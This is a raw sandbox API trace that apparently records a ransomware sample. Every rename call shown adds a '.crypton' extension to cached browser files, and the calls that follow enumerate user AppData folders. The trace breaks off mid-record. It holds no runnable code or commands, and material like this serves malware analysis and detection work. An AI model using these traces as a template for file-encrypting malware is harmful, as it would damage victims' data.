[0201.499] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.508] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.516] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.524] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.534] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.538] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.542] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.546] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.550] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png.crypton"), dwFlags=0x2) returned 1 [0201.553] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png.crypton"), dwFlags=0x2) returned 1 [0201.556] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png.crypton"), dwFlags=0x2) returned 1 [0201.559] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png.crypton"), dwFlags=0x2) returned 1 [0201.562] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png.crypton"), dwFlags=0x2) returned 1 [0202.292] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg.crypton"), dwFlags=0x2) returned 1 [0202.335] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chartbeat[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chartbeat[1].js.crypton"), dwFlags=0x2) returned 1 [0202.472] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome-installer.min[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome-installer.min[1].js.crypton"), dwFlags=0x2) returned 1 [0202.480] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png.crypton"), dwFlags=0x2) returned 1 [0202.484] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png.crypton"), dwFlags=0x2) returned 1 [0202.566] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt.crypton"), dwFlags=0x2) returned 1 [0202.749] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ebhtml5banner[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ebhtml5banner[1].js.crypton"), dwFlags=0x2) returned 1 [0202.765] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg.crypton"), dwFlags=0x2) returned 1 [0202.815] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\jquery-1.11.1.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\jquery-1.11.1.min[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\jquery-1.11.1.min[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\jquery-1.11.1.min[1].js.crypton"), dwFlags=0x2) returned 1 [0202.826] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\rpc_shindig_random[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\rpc_shindig_random[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\rpc_shindig_random[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\rpc_shindig_random[1].js.crypton"), dwFlags=0x2) returned 1 [0202.907] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\wc-addons[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\wc-addons[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\wc-addons[1].css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\wc-addons[1].css.crypton"), dwFlags=0x2) returned 1 [0202.921] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\msimgsiz.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\msimgsiz.dat.crypton"), dwFlags=0x2) returned 1 [0202.929] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf6500980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf6500980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0202.934] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf6500980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf6500980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0202.941] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf6526ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf6526ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0202.946] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf6526ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf6526ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0202.951] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf6526ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf6526ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0202.956] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf654cc40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf654cc40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0202.961] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x4a5338 | out: lpFindFileData=0x4a5338*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf654cc40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf654cc40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549a50 [0202.966] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x4a4990 | out: lpFindFileData=0x4a4990*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf654cc40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf654cc40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549a90 [0202.971] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", lpFindFileData=0x4a3fe8 | out: lpFindFileData=0x4a3fe8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf6572da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf6572da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549ad0 [0202.976] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", lpFindFileData=0x4a3640 | out: lpFindFileData=0x4a3640*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf6572da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf6572da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549b10 [0202.981] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf6572da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf6572da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, 